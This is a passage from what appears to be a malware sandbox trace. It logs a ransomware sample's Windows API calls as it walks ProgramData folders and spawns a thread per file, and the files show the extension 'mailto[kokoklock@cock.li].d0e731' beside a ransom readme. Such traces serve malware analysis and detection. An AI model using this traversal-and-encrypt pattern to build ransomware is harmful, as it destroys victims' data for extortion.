Users\\Microsoft\\Provisioning\\{f11899f2-71ec-4621-9997-e17ae2f6eb26}") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{f11899f2-71ec-4621-9997-e17ae2f6eb26}" [0174.004] wcscat (in: _Dest=0x305c7d8, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{f11899f2-71ec-4621-9997-e17ae2f6eb26}\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{f11899f2-71ec-4621-9997-e17ae2f6eb26}\\" [0174.004] wcscat (in: _Dest=0x305c7d8, _Source="MasterDatastore.xml.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{f11899f2-71ec-4621-9997-e17ae2f6eb26}\\MasterDatastore.xml.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{f11899f2-71ec-4621-9997-e17ae2f6eb26}\\MasterDatastore.xml.mailto[kokoklock@cock.li].d0e731" [0174.004] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x305c7d8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x8bc [0174.005] FindNextFileW (in: hFindFile=0x2f7fae0, lpFindFileData=0x2fe25e0 | out: lpFindFileData=0x2fe25e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d21de20, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x8bfbdde0, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x8bfbdde0, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Prov", cAlternateFileName="")) returned 1 [0174.005] wcscmp (_String1="Prov", _String2=".") returned 1 [0174.005] wcscmp (_String1="Prov", _String2="..") returned 1 [0174.005] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0xac) returned 0x30566c8 [0174.005] wcscpy (in: _Dest=0x30566c8, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{f11899f2-71ec-4621-9997-e17ae2f6eb26}" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{f11899f2-71ec-4621-9997-e17ae2f6eb26}") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{f11899f2-71ec-4621-9997-e17ae2f6eb26}" [0174.005] wcscat (in: _Dest=0x30566c8, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{f11899f2-71ec-4621-9997-e17ae2f6eb26}\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{f11899f2-71ec-4621-9997-e17ae2f6eb26}\\" [0174.005] wcscat (in: _Dest=0x30566c8, _Source="Prov" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{f11899f2-71ec-4621-9997-e17ae2f6eb26}\\Prov") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{f11899f2-71ec-4621-9997-e17ae2f6eb26}\\Prov" [0174.005] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c502b0, lpParameter=0x30566c8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x8b8 [0174.005] FindNextFileW (in: hFindFile=0x2f7fae0, lpFindFileData=0x2fe25e0 | out: lpFindFileData=0x2fe25e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d21de20, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x8bfbdde0, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x8bfbdde0, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Prov", cAlternateFileName="")) returned 0 [0174.006] FindClose (in: hFindFile=0x2f7fae0 | out: hFindFile=0x2f7fae0) returned 1 [0174.006] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fe25e0) returned 1 [0174.006] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f91b30) returned 1 [0174.006] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f92790) returned 1 [0174.006] RtlExitUserThread (Status=0x0) Thread: id = 2168 os_tid = 0x12c8 [0173.643] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0xa6) returned 0x2f91d40 [0173.643] wcscpy (in: _Dest=0x2f91d40, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{fc01e91f-914c-45af-9d7c-0b2e5fbedf62}" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{fc01e91f-914c-45af-9d7c-0b2e5fbedf62}") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{fc01e91f-914c-45af-9d7c-0b2e5fbedf62}" [0173.643] wcscat (in: _Dest=0x2f91d40, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{fc01e91f-914c-45af-9d7c-0b2e5fbedf62}\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{fc01e91f-914c-45af-9d7c-0b2e5fbedf62}\\" [0173.643] wcscat (in: _Dest=0x2f91d40, _Source="*" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{fc01e91f-914c-45af-9d7c-0b2e5fbedf62}\\*") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{fc01e91f-914c-45af-9d7c-0b2e5fbedf62}\\*" [0173.643] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x250) returned 0x2fe1038 [0173.643] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{fc01e91f-914c-45af-9d7c-0b2e5fbedf62}\\*", lpFindFileData=0x2fe1038 | out: lpFindFileData=0x2fe1038*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x2178e943, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x888b6a65, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x888b6a65, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2f800e0 [0173.645] wcscmp (_String1=".", _String2=".") returned 0 [0173.645] FindNextFileW (in: hFindFile=0x2f800e0, lpFindFileData=0x2fe1038 | out: lpFindFileData=0x2fe1038*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x2178e943, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x888b6a65, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x888b6a65, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0173.645] wcscmp (_String1="..", _String2=".") returned 1 [0173.645] wcscmp (_String1="..", _String2="..") returned 0 [0173.645] FindNextFileW (in: hFindFile=0x2f800e0, lpFindFileData=0x2fe1038 | out: lpFindFileData=0x2fe1038*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x560ed25a, ftCreationTime.dwHighDateTime=0x1d29f93, ftLastAccessTime.dwLowDateTime=0x560ed25a, ftLastAccessTime.dwHighDateTime=0x1d29f93, ftLastWriteTime.dwLowDateTime=0x888909af, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x6334, dwReserved0=0x0, dwReserved1=0x0, cFileName="customizations.xml.mailto[kokoklock@cock.li].d0e731", cAlternateFileName="CUSTOM~1.D0E")) returned 1 [0173.646] wcscmp (_String1="customizations.xml.mailto[kokoklock@cock.li].d0e731", _String2=".") returned 1 [0173.646] wcscmp (_String1="customizations.xml.mailto[kokoklock@cock.li].d0e731", _String2="..") returned 1 [0173.646] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x10a) returned 0x305d728 [0173.646] wcscpy (in: _Dest=0x305d728, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{fc01e91f-914c-45af-9d7c-0b2e5fbedf62}" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{fc01e91f-914c-45af-9d7c-0b2e5fbedf62}") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{fc01e91f-914c-45af-9d7c-0b2e5fbedf62}" [0173.646] wcscat (in: _Dest=0x305d728, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{fc01e91f-914c-45af-9d7c-0b2e5fbedf62}\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{fc01e91f-914c-45af-9d7c-0b2e5fbedf62}\\" [0173.646] wcscat (in: _Dest=0x305d728, _Source="customizations.xml.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{fc01e91f-914c-45af-9d7c-0b2e5fbedf62}\\customizations.xml.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{fc01e91f-914c-45af-9d7c-0b2e5fbedf62}\\customizations.xml.mailto[kokoklock@cock.li].d0e731" [0173.999] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x305d728, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x3fc [0173.999] FindNextFileW (in: hFindFile=0x2f800e0, lpFindFileData=0x2fe1038 | out: lpFindFileData=0x2fe1038*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x888909af, ftCreationTime.dwHighDateTime=0x1d56382, ftLastAccessTime.dwLowDateTime=0x888909af, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x888909af, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x481, dwReserved0=0x0, dwReserved1=0x0, cFileName="D0E731-Readme.txt", cAlternateFileName="D0E731~1.TXT")) returned 1 [0173.999] wcscmp (_String1="D0E731-Readme.txt", _String2=".") returned 1 [0173.999] wcscmp (_String1="D0E731-Readme.txt", _String2="..") returned 1 [0173.999] FindNextFileW (in: hFindFile=0x2f800e0, lpFindFileData=0x2fe1038 | out: lpFindFileData=0x2fe1038*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x55d0d528, ftCreationTime.dwHighDateTime=0x1d29f93, ftLastAccessTime.dwLowDateTime=0x55d0d528, ftLastAccessTime.dwHighDateTime=0x1d29f93, ftLastWriteTime.dwLowDateTime=0x888b6a65, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x1cf, dwReserved0=0x0, dwReserved1=0x0, cFileName="MasterDatastore.xml.mailto[kokoklock@cock.li].d0e731", cAlternateFileName="MASTER~1.D0E")) returned 1 [0173.999] wcscmp (_String1="MasterDatastore.xml.mailto[kokoklock@cock.li].d0e731", _String2=".") returned 1 [0173.999] wcscmp (_String1="MasterDatastore.xml.mailto[kokoklock@cock.li].d0e731", _String2="..") returned 1 [0173.999] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x10c) returned 0x305d610 [0174.000] wcscpy (in: _Dest=0x305d610, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{fc01e91f-914c-45af-9d7c-0b2e5fbedf62}" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{fc01e91f-914c-45af-9d7c-0b2e5fbedf62}") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{fc01e91f-914c-45af-9d7c-0b2e5fbedf62}" [0174.000] wcscat (in: _Dest=0x305d610, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{fc01e91f-914c-45af-9d7c-0b2e5fbedf62}\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{fc01e91f-914c-45af-9d7c-0b2e5fbedf62}\\" [0174.000] wcscat (in: _Dest=0x305d610, _Source="MasterDatastore.xml.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{fc01e91f-914c-45af-9d7c-0b2e5fbedf62}\\MasterDatastore.xml.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{fc01e91f-914c-45af-9d7c-0b2e5fbedf62}\\MasterDatastore.xml.mailto[kokoklock@cock.li].d0e731" [0174.000] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x305d610, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x528 [0174.000] FindNextFileW (in: hFindFile=0x2f800e0, lpFindFileData=0x2fe1038 | out: lpFindFileData=0x2fe1038*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x2178e943, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x8bf718ac, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x8bf718ac, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Prov", cAlternateFileName="")) returned 1 [0174.000] wcscmp (_String1="Prov", _String2=".") returned 1 [0174.000] wcscmp (_String1="Prov", _String2="..") returned 1 [0174.000] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0xac) returned 0x3056a60 [0174.000] wcscpy (in: _Dest=0x3056a60, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{fc01e91f-914c-45af-9d7c-0b2e5fbedf62}" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{fc01e91f-914c-45af-9d7c-0b2e5fbedf62}") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{fc01e91f-914c-45af-9d7c-0b2e5fbedf62}" [0174.000] wcscat (in: _Dest=0x3056a60, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{fc01e91f-914c-45af-9d7c-0b2e5fbedf62}\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{fc01e91f-914c-45af-9d7c-0b2e5fbedf62}\\" [0174.000] wcscat (in: _Dest=0x3056a60, _Source="Prov" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{fc01e91f-914c-45af-9d7c-0b2e5fbedf62}\\Prov") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{fc01e91f-914c-45af-9d7c-0b2e5fbedf62}\\Prov" [0174.001] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c502b0, lpParameter=0x3056a60, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x8c0 [0174.001] FindNextFileW (in: hFindFile=0x2f800e0, lpFindFileData=0x2fe1038 | out: lpFindFileData=0x2fe1038*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x2178e943, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x8bf718ac, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x8bf718ac, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Prov", cAlternateFileName="")) returned 0 [0174.001] FindClose (in: hFindFile=0x2f800e0 | out: hFindFile=0x2f800e0) returned 1 [0174.002] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fe1038) returned 1 [0174.002] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f91d40) returned 1 [0174.002] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f928f0) returned 1 [0174.002] RtlExitUserThread (Status=0x0) Thread: id = 2169 os_tid = 0x12cc [0173.646] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Office\\ClickToRunPackageLocker" (normalized: "c:\\users\\all users\\microsoft\\office\\clicktorunpackagelocker")) returned 0x20 [0173.646] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Office\\ClickToRunPackageLocker", dwFileAttributes=0x20) returned 0 [0173.647] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Office\\ClickToRunPackageLocker" (normalized: "c:\\users\\all users\\microsoft\\office\\clicktorunpackagelocker"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0173.647] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Office\\ClickToRunPackageLocker", dwFileAttributes=0x20) returned 0 [0173.647] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f8b210) returned 1 [0173.647] RtlExitUserThread (Status=0x0) Thread: id = 2170 os_tid = 0x12d0 [0173.648] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x66) returned 0x2f62dd0 [0173.648] wcscpy (in: _Dest=0x2f62dd0, _Source="C:\\Users\\All Users\\Microsoft\\Network\\Connections" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Network\\Connections") returned="C:\\Users\\All Users\\Microsoft\\Network\\Connections" [0173.648] wcscat (in: _Dest=0x2f62dd0, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Network\\Connections\\") returned="C:\\Users\\All Users\\Microsoft\\Network\\Connections\\" [0173.648] wcscat (in: _Dest=0x2f62dd0, _Source="*" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Network\\Connections\\*") returned="C:\\Users\\All Users\\Microsoft\\Network\\Connections\\*" [0173.648] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x250) returned 0x2fe1770 [0173.648] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Network\\Connections\\*", lpFindFileData=0x2fe1770 | out: lpFindFileData=0x2fe1770*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17cbb4ff, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xcf245536, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0xcf245536, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2f7ff20 [0173.648] wcscmp (_String1=".", _String2=".") returned 0 [0173.648] FindNextFileW (in: hFindFile=0x2f7ff20, lpFindFileData=0x2fe1770 | out: lpFindFileData=0x2fe1770*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17cbb4ff, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xcf245536, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0xcf245536, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0173.649] wcscmp (_String1="..", _String2=".") returned 1 [0173.649] wcscmp (_String1="..", _String2="..") returned 0 [0173.649] FindNextFileW (in: hFindFile=0x2f7ff20, lpFindFileData=0x2fe1770 | out: lpFindFileData=0x2fe1770*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcf245536, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0xcf245536, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0xcf245536, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Cm", cAlternateFileName="")) returned 1 [0173.649] wcscmp (_String1="Cm", _String2=".") returned 1 [0173.649] wcscmp (_String1="Cm", _String2="..") returned 1 [0173.649] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x68) returned 0x2f6c5c8 [0173.649] wcscpy (in: _Dest=0x2f6c5c8, _Source="C:\\Users\\All Users\\Microsoft\\Network\\Connections" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Network\\Connections") returned="C:\\Users\\All Users\\Microsoft\\Network\\Connections" [0173.649] wcscat (in: _Dest=0x2f6c5c8, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Network\\Connections\\") returned="C:\\Users\\All Users\\Microsoft\\Network\\Connections\\" [0173.649] wcscat (in: _Dest=0x2f6c5c8, _Source="Cm" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Network\\Connections\\Cm") returned="C:\\Users\\All Users\\Microsoft\\Network\\Connections\\Cm" [0173.996] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c502b0, lpParameter=0x2f6c5c8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x404 [0173.996] FindNextFileW (in: hFindFile=0x2f7ff20, lpFindFileData=0x2fe1770 | out: lpFindFileData=0x2fe1770*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe0745f2f, ftCreationTime.dwHighDateTime=0x1d32720, ftLastAccessTime.dwLowDateTime=0xbd895aed, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xe0745f2f, ftLastWriteTime.dwHighDateTime=0x1d32720, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="CM_old", cAlternateFileName="")) returned 1 [0173.996] wcscmp (_String1="CM_old", _String2=".") returned 1 [0173.996] wcscmp (_String1="CM_old", _String2="..") returned 1 [0173.996] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x70) returned 0x30134b8 [0173.997] wcscpy (in: _Dest=0x30134b8, _Source="C:\\Users\\All Users\\Microsoft\\Network\\Connections" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Network\\Connections") returned="C:\\Users\\All Users\\Microsoft\\Network\\Connections" [0173.997] wcscat (in: _Dest=0x30134b8, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Network\\Connections\\") returned="C:\\Users\\All Users\\Microsoft\\Network\\Connections\\" [0173.997] wcscat (in: _Dest=0x30134b8, _Source="CM_old" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Network\\Connections\\CM_old") returned="C:\\Users\\All Users\\Microsoft\\Network\\Connections\\CM_old" [0173.997] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c502b0, lpParameter=0x30134b8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x8c8 [0173.997] FindNextFileW (in: hFindFile=0x2f7ff20, lpFindFileData=0x2fe1770 | out: lpFindFileData=0x2fe1770*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe0745f2f, ftCreationTime.dwHighDateTime=0x1d32720, ftLastAccessTime.dwLowDateTime=0xbd895aed, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xe0745f2f, ftLastWriteTime.dwHighDateTime=0x1d32720, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="CM_old", cAlternateFileName="")) returned 0 [0173.997] FindClose (in: hFindFile=0x2f7ff20 | out: hFindFile=0x2f7ff20) returned 1 [0173.998] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fe1770) returned 1 [0173.998] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f62dd0) returned 1 [0173.998] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f6c140) returned 1 [0173.998] RtlExitUserThread (Status=0x0) Thread: id = 2171 os_tid = 0x12d4 [0173.649] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x64) returned 0x2f67db0 [0173.649] wcscpy (in: _Dest=0x2f67db0, _Source="C:\\Users\\All Users\\Microsoft\\Network\\Downloader" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Network\\Downloader") returned="C:\\Users\\All Users\\Microsoft\\Network\\Downloader" [0173.649] wcscat (in: _Dest=0x2f67db0, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Network\\Downloader\\") returned="C:\\Users\\All Users\\Microsoft\\Network\\Downloader\\" [0173.649] wcscat (in: _Dest=0x2f67db0, _Source="*" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Network\\Downloader\\*") returned="C:\\Users\\All Users\\Microsoft\\Network\\Downloader\\*" [0173.649] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x250) returned 0x2fe2848 [0173.649] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Network\\Downloader\\*", lpFindFileData=0x2fe2848 | out: lpFindFileData=0x2fe2848*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffff [0173.650] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fe2848) returned 1 [0173.650] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f67db0) returned 1 [0173.650] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f87c98) returned 1 [0173.650] RtlExitUserThread (Status=0x0) Thread: id = 2172 os_tid = 0x12d8 [0173.651] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x78) returned 0x2f8b210 [0173.651] wcscpy (in: _Dest=0x2f8b210, _Source="C:\\Users\\All Users\\Microsoft\\NetFramework\\BreadcrumbStore" | out: _Dest="C:\\Users\\All Users\\Microsoft\\NetFramework\\BreadcrumbStore") returned="C:\\Users\\All Users\\Microsoft\\NetFramework\\BreadcrumbStore" [0173.651] wcscat (in: _Dest=0x2f8b210, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\NetFramework\\BreadcrumbStore\\") returned="C:\\Users\\All Users\\Microsoft\\NetFramework\\BreadcrumbStore\\" [0173.651] wcscat (in: _Dest=0x2f8b210, _Source="*" | out: _Dest="C:\\Users\\All Users\\Microsoft\\NetFramework\\BreadcrumbStore\\*") returned="C:\\Users\\All Users\\Microsoft\\NetFramework\\BreadcrumbStore\\*" [0173.651] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x250) returned 0x2fe2848 [0173.651] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\NetFramework\\BreadcrumbStore\\*", lpFindFileData=0x2fe2848 | out: lpFindFileData=0x2fe2848*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c95299, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbd80f277, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17c95299, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2f7fba0 [0173.651] wcscmp (_String1=".", _String2=".") returned 0 [0173.652] FindNextFileW (in: hFindFile=0x2f7fba0, lpFindFileData=0x2fe2848 | out: lpFindFileData=0x2fe2848*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c95299, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbd80f277, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17c95299, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0173.652] wcscmp (_String1="..", _String2=".") returned 1 [0173.652] wcscmp (_String1="..", _String2="..") returned 0 [0173.652] FindNextFileW (in: hFindFile=0x2f7fba0, lpFindFileData=0x2fe2848 | out: lpFindFileData=0x2fe2848*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c95299, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbd80f277, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17c95299, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0173.652] FindClose (in: hFindFile=0x2f7fba0 | out: hFindFile=0x2f7fba0) returned 1 [0173.652] 